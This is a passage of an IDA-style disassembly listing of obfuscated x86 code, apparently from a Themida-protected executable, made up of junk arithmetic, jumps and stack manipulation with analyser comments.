4 sub esi, 4 xchg esi, [esp-18h+arg_14] pop esp mov [esp-1Ch+arg_18], ebx jmp sub_55B730 ; --------------------------------------------------------------------------- loc_5539CF: ; CODE XREF: sub_556A70+23B3j pop ecx add ebp, 4 xchg ebp, [esp-20h+arg_1C] jmp loc_5583F6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5539DB proc near ; CODE XREF: sub_556A70-278Bj var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00551374 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00551CB8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055406F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005587AF SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00558EFB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055913B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055A719 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055A771 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0055BA4E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0055CB36 SIZE 0000000E BYTES push ebx push edi mov edi, 5DBF2147h and edi, 4DC0499h push edx jmp loc_55A771 sub_5539DB endp ; --------------------------------------------------------------------------- loc_5539EE: ; CODE XREF: Themida_:005583DAj mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx mov ecx, 19F85E9Eh shl ecx, 4 jmp loc_557A49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553A07: ; CODE XREF: sub_556A70+3829j pop ecx push ebx pop esi mov ebx, [esp-24h+arg_20] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55229F ; --------------------------------------------------------------------------- loc_553A21: ; CODE XREF: sub_556A70+C82j push 3983h mov [esp-1Ch+arg_18], eax mov eax, 24h sub esp, 4 mov [esp-18h+arg_14], eax mov eax, 442F1D68h add esi, eax pop eax add esi, eax push ebx push ebp mov ebp, 3FF1368Dh jmp loc_55686F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553A4D: ; CODE XREF: Themida_:00558D6Cj push 0 jmp loc_555052 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553A57: ; CODE XREF: sub_556A70+449j push small 15EAh jmp loc_55343A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_553A60: ; CODE XREF: sub_552B74+77BCj add ah, 42h or ah, 0E5h push edx mov dl, 6Eh add ah, dl pop edx sub ah, 28h jmp loc_55BC44 ; END OF FUNCTION CHUNK FOR sub_552B74 ; =============== S U B R O U T I N E ======================================= sub_553A74 proc near ; CODE XREF: sub_556A70-181Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055337F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005594DE SIZE 0000002A BYTES push ebp mov ebp, 5B054953h add ebp, 0A4FAB6AEh mov edi, ebp pop ebp sub eax, edi pop edi jmp loc_55337F sub_553A74 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ecx push esp pop ecx push ebp mov ebp, 282858FEh jmp loc_55B73B ; --------------------------------------------------------------------------- loc_553AA3: ; CODE XREF: Themida_:005531FAj sub dh, 0AFh push ecx mov cl, 0B3h jmp loc_5599EA ; --------------------------------------------------------------------------- loc_553AAE: ; CODE XREF: Themida_:00556399j mov edx, [esp] add esp, 4 push 784Eh mov [esp], ebx jmp loc_55A2CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553AC4: ; CODE XREF: sub_556A70+5868j push esp pop ecx push eax push ebp mov ebp, 50EF5254h shr ebp, 1 jmp loc_552248 ; --------------------------------------------------------------------------- loc_553AD4: ; CODE XREF: sub_556A70+5485j sub ax, si mov esi, [esp-0Ah+arg_4+2] add esp, 4 push small 257Dh mov word ptr [esp-0Ch+arg_8], dx jmp loc_556BBD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553AEA: ; CODE XREF: Themida_:0055CEA5j push esp pop edx push ecx push 3872A9Ch mov ecx, [esp] add esp, 4 shr ecx, 8 shr ecx, 6 push ecx push eax jmp loc_553C8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_553B05: ; CODE XREF: sub_552B74+187Aj pop esp retn ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- jmp loc_550A46 ; --------------------------------------------------------------------------- loc_553B0C: ; CODE XREF: Themida_:0055CD34j pop esp mov [esp], cx jmp loc_550A46 ; =============== S U B R O U T I N E ======================================= sub_553B16 proc near ; CODE XREF: sub_556A70+E01j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005527FB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00552FB8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005536A4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055881F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00559414 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055A84A SIZE 00000031 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp jmp loc_5536A4 sub_553B16 endp ; --------------------------------------------------------------------------- loc_553B26: ; CODE XREF: Themida_:005552CFj push 1EA3h mov [esp], ebp push esp mov ebp, [esp] add esp, 4 jmp loc_55C2DD ; --------------------------------------------------------------------------- loc_553B3A: ; CODE XREF: Themida_:00554BE2j add ecx, 4 jmp loc_5513E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_553B45: ; CODE XREF: sub_5584F8-1C8Ej not edx not edx shr edx, 4 jmp loc_55CCCB ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553B51: ; CODE XREF: sub_556A70-3F6Dj sub eax, edi pop edi sub eax, 7ED5452Dh add eax, ebx jmp loc_552C8E ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_553B60 proc near ; CODE XREF: sub_55515F-458j ; FUNCTION CHUNK AT 00559802 SIZE 00000008 BYTES push ebx mov bh, 16h or bh, 99h jmp loc_559802 sub_553B60 endp ; --------------------------------------------------------------------------- loc_553B6B: ; CODE XREF: Themida_:00559656j sub ebx, 5880281h add eax, ebx jmp loc_5577B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555903 loc_553B78: ; CODE XREF: sub_555903+18j pop ebx xchg edx, [esp+0] pop esp mov [esp-4+arg_0], edi mov edx, [esp-4+arg_0] jmp loc_55190B ; END OF FUNCTION CHUNK FOR sub_555903 ; --------------------------------------------------------------------------- mov ax, [esp] push edi push esp pop edi push 3A28h mov [esp], ebp push esi jmp loc_5595BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553B9D: ; CODE XREF: sub_556A70+4D2Dj and edi, 28842696h push ebx mov ebx, 6EEA4F3Ah sub edi, ebx pop ebx jmp loc_5518CB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553BB1: ; CODE XREF: Themida_:00558F42j mov edx, 42512B03h add edx, 35E13E79h and edx, 77546123h not edx dec edx jmp loc_557E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5582B3 loc_553BCA: ; CODE XREF: sub_5582B3+19j pop esi push edi jmp loc_55A6DB ; END OF FUNCTION CHUNK FOR sub_5582B3 ; --------------------------------------------------------------------------- push 40C9h mov [esp], ebx jmp loc_554875 ; --------------------------------------------------------------------------- loc_553BDE: ; CODE XREF: Themida_:00556893j sub esp, 4 mov [esp], edi jmp loc_552039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553BE9: ; CODE XREF: sub_556A70+1CE3j push eax mov eax, 0AA62FBDh jmp loc_55C067 ; --------------------------------------------------------------------------- loc_553BF4: ; CODE XREF: sub_556A70+1038j xor ebx, 9BF1EE9Ch sub esi, ebx pop ebx mov eax, [esp-4+arg_0] jmp loc_552787 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553C05: ; CODE XREF: Themida_:0055111Aj xor esi, eax pop eax neg esi add esi, 68B05516h dec esi xor esi, 0B7A9EAA9h mov edi, esi pop esi jmp loc_5598CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_553C1F: ; CODE XREF: sub_559F87-7D1Dj push eax mov al, 54h xor cl, al pop eax add al, 62h sub al, cl sub al, 62h pop ecx jmp sub_55515F ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553C31: ; CODE XREF: sub_556A70-4EDEj mov [esp+0Ch+var_C], edx jmp loc_55AC5B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_553C39: ; CODE XREF: sub_555B85-4E2Bj or edi, 0D60F79h xor edi, 0B1691C8Eh sub ecx, edi jmp loc_55974D ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553C4C: ; CODE XREF: sub_556A70+859j dec edi xor edi, 5A9F6EBEh add eax, 377C59CAh jmp loc_5596AE ; --------------------------------------------------------------------------- loc_553C5D: ; CODE XREF: sub_556A70+46C8j xor al, dl mov dx, word ptr [esp+0Ch+var_C] add esp, 2 xor bl, al movzx eax, al jmp loc_5548E8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553C73: ; CODE XREF: Themida_:0055CEC0j add eax, 4 jmp loc_554DF1 ; --------------------------------------------------------------------------- loc_553C7D: ; CODE XREF: Themida_:0055A6FFj xchg esi, [esp] mov esp, [esp] xchg ebx, [esp] pop esp jmp loc_5552CB ; --------------------------------------------------------------------------- loc_553C8C: ; CODE XREF: Themida_:00553B00j mov ecx, [esp] add esp, 4 pop eax dec eax xchg eax, ecx add ecx, 0FFFFF1E9h jmp loc_556D40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553CA0: ; CODE XREF: sub_556A70+9Dj pop ebp push edi mov edi, esp jmp loc_5564AA ; --------------------------------------------------------------------------- loc_553CA9: ; CODE XREF: sub_556A70+4E86j pop ecx pop [esp+4+var_4] pop esp mov [esp-4+arg_0], esi push ebx mov ebx, 1E0C7A18h jmp loc_55B6D8 ; --------------------------------------------------------------------------- loc_553CBC: ; CODE XREF: sub_556A70+3050j sub esi, 244270CCh add eax, esi pop esi jmp loc_55466E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553CCA: ; CODE XREF: Themida_:00559136j push eax mov eax, 73AF69B7h jmp loc_555F04 ; --------------------------------------------------------------------------- loc_553CD5: ; CODE XREF: Themida_:00553972j xor ebx, 20CE556Dh add ebp, ebx pop ebx jmp loc_55955E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_553CE3: ; CODE XREF: sub_55AA5F-647Dj push ecx pop ebx pop ecx add edi, ebx pop ebx jmp loc_5588EB ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553CEE: ; CODE XREF: sub_556A70-3AF0j pop esp add esp, 4 sub esp, 4 mov [esp+4+var_4], esi push ebp push esi mov esi, 4B3D252Ah dec esi or esi, 4CD66143h shr esi, 2 jmp loc_551DAD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553D11: ; CODE XREF: Themida_:0055C0BEj push esp jmp loc_555B96 ; =============== S U B R O U T I N E ======================================= sub_553D17 proc near ; CODE XREF: sub_556A70+3F86j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00550BF5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055111F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055433E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005560DB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005565A5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005566D3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00559923 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00559BDE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055CDC6 SIZE 0000000A BYTES push ebx jmp loc_5560DB sub_553D17 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553D1D: ; CODE XREF: sub_556A70+13Dj add esp, 4 pop [esp+8+var_8] jmp loc_554125 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553D28: ; CODE XREF: Themida_:0055BEC8j xor eax, 2729433Ch dec eax jmp loc_551582 ; --------------------------------------------------------------------------- loc_553D33: ; CODE XREF: Themida_:00556759j pop esi shr ebx, 8 xor ebx, 392C77CCh jmp loc_552C10 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_559DC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553D4B: ; CODE XREF: sub_556A70-4B18j add ebp, ebx mov ebx, [esp-0Ch+arg_8] add esp, 4 xchg ebp, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] idiv ecx push 12EAh mov [esp-0Ch+arg_8], edx push eax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553D6A: ; CODE XREF: Themida_:0055678Ej pop eax shr ch, 7 shl ch, 8 sub ch, 0FFh shl ch, 3 add ch, 43h sub al, 21h sub al, ch add al, 21h pop ecx sub esp, 4 jmp loc_557456 ; --------------------------------------------------------------------------- loc_553D89: ; CODE XREF: Themida_:00553E32j or bh, 59h xor bh, 4Fh jmp loc_55B31F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553D94: ; CODE XREF: sub_556A70+3003j pop esp shl word ptr [esp-8+arg_4], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_553D9F: ; CODE XREF: sub_556A70-2700j jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553DA4: ; CODE XREF: Themida_:00550ECCj push 28195A24h pop ecx xor ecx, 28195A20h push ecx xor dword ptr [esp], 3AA5652Eh pop esi xor esi, 3AA5652Eh pop ecx jmp loc_55AF99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_553DC5: ; CODE XREF: sub_55B730-56FFj add ebp, 4CE60C68h pop ebx push ecx mov ecx, 70EE6520h add ebp, 372A7454h sub ebp, ecx sub ebp, 372A7454h jmp loc_55599A ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553DE5: ; CODE XREF: sub_556A70-23E2j pop edx jmp loc_55B359 ; --------------------------------------------------------------------------- loc_553DEB: ; CODE XREF: sub_556A70-3F09j add eax, esi sub eax, 5A3B430Ah pop esi pop esi mov ebp, [esp-0Ch+arg_8] add esp, 4 sub eax, 4 xchg eax, [esp-10h+arg_C] pop esp jmp loc_554789 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553E09: ; CODE XREF: Themida_:0055BF0Aj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add bl, 0A3h sub bl, al sub bl, 0A3h sub esp, 4 mov [esp], edx push ebx push edx mov dl, 7Bh mov bh, 6 xor bh, dl pop edx jmp loc_553D89 ; --------------------------------------------------------------------------- loc_553E37: ; CODE XREF: Themida_:005589C1j inc edi add edi, 8A91514Bh jmp loc_552455 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553E43: ; CODE XREF: sub_556A70+5B06j xor ah, ch pop ecx push eax mov ah, 0DBh not ah shr ah, 6 shl ah, 5 sub ah, 0E2h add dl, ah pop eax sub dl, ah sub dl, 1Eh pop eax sub al, 6Dh sub al, dl add al, 6Dh pop edx push ecx jmp sub_5553D0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_553E6A proc near ; CODE XREF: sub_556A70+54FAj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00552667 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055598B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055BB14 SIZE 00000022 BYTES sub esp, 4 mov [esp+4+var_4], eax jmp loc_55BB14 sub_553E6A endp ; =============== S U B R O U T I N E ======================================= sub_553E75 proc near ; CODE XREF: sub_556A70+1E08j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553F4B SIZE 0000001D BYTES push ebx mov bh, 0CFh inc bh push eax mov al, 1Fh xor al, 0A9h xor al, 29h xor al, 60h jmp loc_553F4B sub_553E75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553E88: ; CODE XREF: sub_556A70+526Fj add eax, ebp add eax, 3DB07A2Ah push edi push ebx mov ebx, 244F1D99h jmp loc_553604 ; --------------------------------------------------------------------------- loc_553E9B: ; CODE XREF: sub_556A70+2690j xor [esp-14h+arg_10], 493F76C7h pop ecx sub esp, 4 mov [esp-14h+arg_10], ebp push 493F76C7h pop ebp xor ecx, ebp pop ebp pop edx sub [esp-1Ch+arg_1C], ecx jmp loc_5522E5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553EBC: ; CODE XREF: Themida_:0055B314j dec eax sub eax, 7D708F1Dh sub ebx, eax mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebx, edi add ebx, 20FB23E8h push edx mov edx, 0 add edx, ebx add eax, [edx] mov edx, [esp] add esp, 4 pop ebx jmp loc_558794 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_553EF5: ; CODE XREF: sub_55B730-10D7j pop ebp jmp loc_55CE3F ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- loc_553EFB: ; CODE XREF: Themida_:0055CBB6j sub ebx, edx pop edx add ebx, eax push edx mov edx, 72D65642h sub esp, 4 mov [esp], ebp mov ebp, 5EF9413Ah sub edx, ebp jmp loc_55B5D1 ; --------------------------------------------------------------------------- loc_553F1B: ; CODE XREF: Themida_:00554D70j xor al, bl push dword ptr [esp] mov ebx, [esp] jmp loc_551E5C ; --------------------------------------------------------------------------- loc_553F28: ; CODE XREF: Themida_:005580D2j push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ecx jmp loc_557BC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553F3A: ; CODE XREF: sub_556A70-2656j pop ebx jmp loc_554910 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553F40: ; CODE XREF: Themida_:0055C4E6j xchg edi, ebx not edi xchg edi, ebx jmp loc_55B591 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553E75 loc_553F4B: ; CODE XREF: sub_553E75+Ej add bh, al pop eax not bh sub bh, 0Fh add ch, 0D8h add ch, bh push bx mov bh, 0D8h sub ch, bh pop bx mov ebx, [esp+4+var_4] jmp loc_5579BA ; END OF FUNCTION CHUNK FOR sub_553E75 ; --------------------------------------------------------------------------- loc_553F68: ; CODE XREF: Themida_:00551727j pop esp mov [esp], ebx jmp loc_55169F ; --------------------------------------------------------------------------- loc_553F71: ; CODE XREF: Themida_:0055597Ej dec dl dec dl sub dl, 0A3h sub bl, dl pop edx add bl, al add bl, 0D6h add bl, 7Bh movzx eax, al push ebx push 1732h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] push eax mov eax, esp add eax, 4 push esi mov esi, 4 sub eax, 0C8A3FB9h add eax, esi add eax, 0C8A3FB9h pop esi push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_557CEC ; --------------------------------------------------------------------------- loc_553FC7: ; CODE XREF: Themida_:005583B8j mov bl, 5Fh shl bl, 5 or bl, 18h push cx mov cl, 53h sub bl, cl mov cx, [esp] add esp, 2 sub al, 9Ah jmp loc_555B2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553FE3: ; CODE XREF: sub_556A70+F74j add esi, 4 sub esp, 4 mov [esp-1Ch+arg_18], ebp mov ebp, 71705CD5h add ebp, 0FFFFFFFFh push 62A4h mov [esp-18h+arg_14], edi mov edi, 71705CD0h jmp sub_556769 ; --------------------------------------------------------------------------- loc_55400C: ; CODE XREF: sub_556A70+6139j add esp, 4 jmp loc_55BC15 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554014: ; CODE XREF: Themida_:0055A6EEj push 3AD60A2Ah jmp loc_551831 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push esi mov esi, 4BDF3000h inc esi neg esi push ebx mov ebx, 4A2C3FD3h add ebx, 53066FC9h sub ebx, 49A26C78h xor esi, ebx pop ebx push edx mov edx, 6B53ED9h add edx, 7ABD73FDh jmp loc_559C3D ; --------------------------------------------------------------------------- loc_554066: ; CODE XREF: Themida_:00553178j pop ebx sub ecx, 1 jmp loc_5542B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_55406F: ; CODE XREF: sub_5539DB-1D15j pop esi jmp loc_55BA4E ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_554075: ; CODE XREF: sub_552634+845Aj mov esi, 583FA4BEh sub esi, edx pop edx shl esi, 1 jmp loc_55B631 ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554084: ; CODE XREF: sub_556A70-3A5Cj add esp, 4 sub ebp, 2 jmp sub_55BDD5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55408F: ; CODE XREF: Themida_:00552262j mov esi, [esp] add esp, 4 jmp loc_5554B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55409A: ; CODE XREF: sub_556A70+4ECCj mov edi, 4A5F0080h sub eax, 6E8B23C2h add eax, edi add eax, 6E8B23C2h pop edi push ecx jmp loc_55C183 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5540B2: ; CODE XREF: Themida_:00552E6Bj sub esp, 4 mov [esp], eax push ebx jmp loc_55661A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5540BE: ; CODE XREF: sub_556A70+5686j pop ebp shr esi, 3 sub esi, 0AA5B298h jmp loc_557E3A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5540CD: ; CODE XREF: Themida_:00555373j add ebx, eax jmp loc_555564 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_554625 ; --------------------------------------------------------------------------- loc_5540F9: ; CODE XREF: Themida_:00555EB3j mov ch, 1Ch sub esp, 4 mov [esp], ebx mov bl, 0B2h inc bl xor bl, 7Eh sub bl, 0FFh add ch, bl mov ebx, [esp] add esp, 4 add al, 89h add al, 0DEh sub al, 0B4h add al, ch add al, 0B4h jmp loc_55B418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554125: ; CODE XREF: sub_556A70-2D4Dj pop esp mov [esp+0], esi push [esp+arg_0] jmp loc_55C831 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554132: ; CODE XREF: Themida_:00556294j mov edi, 4F4B53DEh jmp loc_55A366 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55413C: ; CODE XREF: sub_556A70+BB4j pop ebp and edi, ecx pop ecx sub edi, 1 sub edi, 2A59532Ah sub edi, 1A80EEEh add esi, edi pop edi jmp loc_5549DC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_55415A: ; CODE XREF: sub_552634+1j mov ebp, 6605144Eh add ebp, 0C81D55E6h sub eax, ebp pop ebp jmp loc_55BE06 ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55416D: ; CODE XREF: sub_556A70+5C1Fj mov [esp-8+arg_4], ecx jmp loc_552E3E ; --------------------------------------------------------------------------- loc_554175: ; CODE XREF: sub_556A70+4F31j pop edi add ebx, 4 xchg ebx, [esp-0Ch+arg_8] pop esp push 704Fh jmp loc_55725A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55418A: ; CODE XREF: Themida_:00551B2Aj add esi, 26FB4E67h pop ebx add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov ax, [esp] jmp loc_559DED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5541AC: ; CODE XREF: sub_556A70-3604j neg ebp add ebp, 0CA05E9BAh jmp loc_5580F0 ; --------------------------------------------------------------------------- loc_5541B9: ; CODE XREF: sub_556A70-E79j sub bl, dl pop edx sub bl, al jmp loc_55C165 ; --------------------------------------------------------------------------- loc_5541C3: ; CODE XREF: sub_556A70+2091j or ecx, 5C284AECh jmp loc_556AAE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5541CE: ; CODE XREF: Themida_:00552B6Fj and ah, 0E1h add ah, 0BCh add bh, ah pop eax mov dl, bh pop ebx shl dl, 6 jmp loc_558DF5 ; --------------------------------------------------------------------------- loc_5541E2: ; CODE XREF: Themida_:0055CC29j push esp pop eax push ebx push esi jmp loc_5548DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5541EB: ; CODE XREF: sub_556A70+1AF2j pop esi xor ebx, 3EA24E27h jmp loc_5596D7 ; --------------------------------------------------------------------------- loc_5541F7: ; CODE XREF: sub_556A70-40A0j push 50FF2D21h pop ecx shr ecx, 2 push ebx mov ebx, 1F822E52h or ecx, ebx pop ebx add ecx, 0E04010A7h jmp loc_550FC1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55421D: ; CODE XREF: Themida_:00552EEDj add bl, al push 7A30h mov [esp], eax push ecx jmp loc_55C353 ; --------------------------------------------------------------------------- loc_55422D: ; CODE XREF: Themida_:00551A88j pop esp push 24ACh jmp loc_55A6EB ; --------------------------------------------------------------------------- loc_554238: ; CODE XREF: Themida_:00555214j add al, 6Fh jmp loc_557389 ; --------------------------------------------------------------------------- loc_55423F: ; CODE XREF: Themida_:005527C6j pop eax xor esi, [esp] jmp loc_559566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_554248: ; CODE XREF: sub_556A70-53FCj add ebp, 4 xchg ebp, [esp+0] mov esp, [esp+0] jmp loc_559797 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_554259: ; CODE XREF: Themida_:005510F3j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_558B20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55427B: ; CODE XREF: sub_556A70+2822j mov [esp+0], edx mov dl, 1Bh push edx mov dl, 4 mov bl, dl pop edx sub esp, 4 jmp loc_55C716 ; --------------------------------------------------------------------------- loc_554291: ; CODE XREF: sub_556A70-1A23j pop esi mov [eax], edx jmp loc_55A626 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_554299 proc near ; CODE XREF: sub_556A70+B4Fj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00550BD2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00554DDC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005586B8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055BECD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055BF23 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0055C2C3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055C5F0 SIZE 00000011 BYTES push ebp mov ebp, 647A05BEh jmp loc_5586B8 sub_554299 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5542A4: ; CODE XREF: Themida_:005559E9j push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] push ebp jmp loc_55936A ; --------------------------------------------------------------------------- loc_5542B4: ; CODE XREF: Themida_:0055406Aj and ecx, 